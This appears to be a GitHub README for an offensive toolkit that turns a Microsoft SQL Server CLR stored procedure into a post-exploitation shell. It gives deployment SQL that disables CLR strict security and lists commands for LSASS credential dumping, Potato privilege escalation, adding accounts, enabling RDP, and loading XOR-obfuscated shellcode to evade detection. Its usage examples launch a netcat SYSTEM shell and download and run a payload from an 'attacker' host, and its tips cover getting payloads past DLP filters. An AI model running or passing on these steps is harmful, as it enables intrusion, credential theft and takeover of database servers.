Skip to content

A single stored procedure transformed into a multi-functional tool like a Swiss Army knife after exploitation — an attack-focused SQL CLR toolset: file system control, payload preparation, privilege escalation, and shellcode/assembly loaders.

License

Notifications You must be signed in to change notification settings

FlameBudy/MSSQLServer-CLR-CommandKit

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

MSSQL CLR Operations Toolkit

Flexible Microsoft SQL Server CLR extension that exposes post-exploitation helpers (process management, file I/O, network recon, payload delivery, and privilege-escalation primitives) through a single stored procedure.

Overview

MSSQL CLR Operations Toolkit packages a collection of high-impact operational helpers inside a single UNSAFE CLR assembly. Once deployed, SQL operators can issue commands via EXEC dbo.ClrExec '<verb>' to:

  • Explore the host filesystem and running processes
  • Stage, execute, or remove payloads without touching disk directly
  • Trigger privilege-escalation exploits (EfsPotato/BadPotato/GodPotato)
  • Interact with RDP settings, local accounts, and AV inventory
  • Execute inline shellcode or assemblies with optional XOR staging

Feature

Capability Command(s) Notes
File & directory ops clr_pwd, clr_ls <path>, clr_cd <path>, clr_cat <file>, clr_rm <path> Uses .NET System.IO; handles nested directories and large outputs via chunking.
Process & network recon clr_ps, clr_netstat Enumerates processes and TCP listeners/connections.
Host reachability clr_ping <host> ICMP check with friendly status messaging.
Payload execution clr_cmd <cmd>, clr_exec -p <program> -a <args> Supports process execution with argument splitting.
Download/stage artifacts clr_download <url> <path>, clr_combine <baseFile> Downloader plus multipart combiner for split payloads.
Credential access clr_dumplsass [dumpDir] Dumps LSASS (admin only) and gzips output automatically.
User & RDP management clr_adduser <user> <pass>, clr_rdp Adds local accounts and toggles RDP via registry edits.
AV inventory clr_getav Enumerates installed AV products.
Privilege escalation clr_efspotato, clr_badpotato, clr_godpotato Exposes the Potato exploit family; supports inline command or binary launch.
Shellcode/assembly loaders clr_scloader, clr_assembly <payload> <xorKey> Execute XOR-encoded shellcode or managed assemblies from disk/base64.

Notes

  • Namespace split:
    • CLR_module/*: operational helpers (filesystem, process, exploit glue).
    • NativeAPI/*: COM/DCOM marshaling types used by GodPotato.
    • PingCastle/*: RPC helpers ported from PingCastle for LSARPC/NRPC calls.
  • Permission set: The project intentionally compiles with PERMISSION_SET = UNSAFE to unlock unmanaged calls (dbghelp, registry, raw sockets, etc.).
  • Output handling: Long responses are chunked into 4,000-character blocks to respect SQLCLR pipe limits.
  • Exploit shims: EfsPotato, BadPotato, and GodPotato wrappers support both direct command execution and program+arguments mode (via -p/-a flags).

Prerequisites

  • Windows host with SQL Server 2016+ (CLR integration enabled).
  • Visual Studio 2022 with SQL Server Data Tools (SSDT).
  • Sysadmin or equivalent privileges on the target SQL instance to deploy UNSAFE assemblies.

Optional helper tools: sqlcmd or SSMS for deployment steps, CLR integration enabled at the SQL Server level.

Building

  • Compile
    • Open Database.sln.
    • Build Database in Release|AnyCPU.
      Output: Database\bin\Release\Database.dll.

Deploying to SQL Server

-- 1. Enable CLR if needed
EXEC sp_configure 'clr enabled', 1;
RECONFIGURE;

-- 2. Allow UNSAFE assemblies (if policy permits)
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'clr strict security', 0;
RECONFIGURE;

-- 3. Load the assembly
CREATE ASSEMBLY [ClrOps]
FROM 'C:\path\to\Database.dll'
WITH PERMISSION_SET = UNSAFE;

-- 4. Bind the stored procedure
CREATE PROCEDURE dbo.ClrExec
(@cmd NVARCHAR(MAX))
AS EXTERNAL NAME [ClrOps].[StoredProcedures].[ClrExec];
GO

Configuration

  • Working directory: clr_cd <path> adjusts the process CWD for subsequent filesystem commands.
  • Dump directory: clr_dumplsass defaults to %SystemRoot%\Temp. Supply a custom path for tight disk policies.
  • Potato execution: Use -p <binary> -a <args> to launch arbitrary executables with SYSTEM privileges once escalation succeeds.
  • Shellcode loader: Provide Base64 + XOR key pairs previously generated with your tooling to avoid static detection.

Environment-specific hardening (AppLocker, AMSI, EDR) may block certain verbs; test in a lab that mirrors target policies.

Usage Examples

-- Basic reconnaissance
EXEC dbo.ClrExec 'clr_pwd';
EXEC dbo.ClrExec 'clr_ls C:\ProgramData';
EXEC dbo.ClrExec 'clr_netstat';

-- Dump LSASS to a writable share
EXEC dbo.ClrExec 'clr_dumplsass \\fileserver\staging';

-- Execute a command with arguments
EXEC dbo.ClrExec 'clr_cmd powershell.exe -ExecutionPolicy Bypass -File c:\temp\audit.ps1';

-- Launch SYSTEM shell via GodPotato
EXEC dbo.ClrExec 'clr_godpotato -p c:\temp\nc64.exe -a 4444 -e cmd.exe';

-- Download and run payload
EXEC dbo.ClrExec 'clr_download https://attacker/payload.bin C:\Temp\payload.bin';
EXEC dbo.ClrExec 'clr_exec -p C:\Temp\payload.bin';

Operational Tips

  • Output limits: SQL Server truncates overly chatty responses. Keep command output concise or redirect to files retrieved later via clr_cat.
  • OpSec: Combine clr_download + clr_combine to reassemble split payloads that bypass size/content DLP filters.
  • Error handling: Most verbs emit [!] or [X] prefixed messages when the host denies access. Surface those to your operator console/log.
  • Cleanup: Use clr_rm to delete staged binaries, dumps, or loader scraps.

Troubleshooting

  • Msg 10314 / UNSAFE assembly could not be loaded: confirm clr strict security is disabled or that the DLL is signed and trusted.
  • Access denied on LSASS dump or Potato exploits: the SQL Server service account lacks SeDebug/SeImpersonate privileges. Escalate the service context first.
  • CLR procedure hangs: certain commands (e.g., long-running clr_cmd) block the session. Execute from a dedicated SQL connection and monitor with sp_whoisactive.

Contributing

If you would like to contribute to this project, please leave a star in the repo.

Disclaimer

This project is intended solely for educational purposes.

License

This project is licensed under the MIT License. See the LICENSE file for details.

About

A single stored procedure transformed into a multi-functional tool like a Swiss Army knife after exploitation — an attack-focused SQL CLR toolset: file system control, payload preparation, privilege escalation, and shellcode/assembly loaders.

Topics

Resources

License

Stars

Watchers

Forks

Sponsor this project

Packages

No packages published

Contributors 3

  •  
  •  
  •  

Languages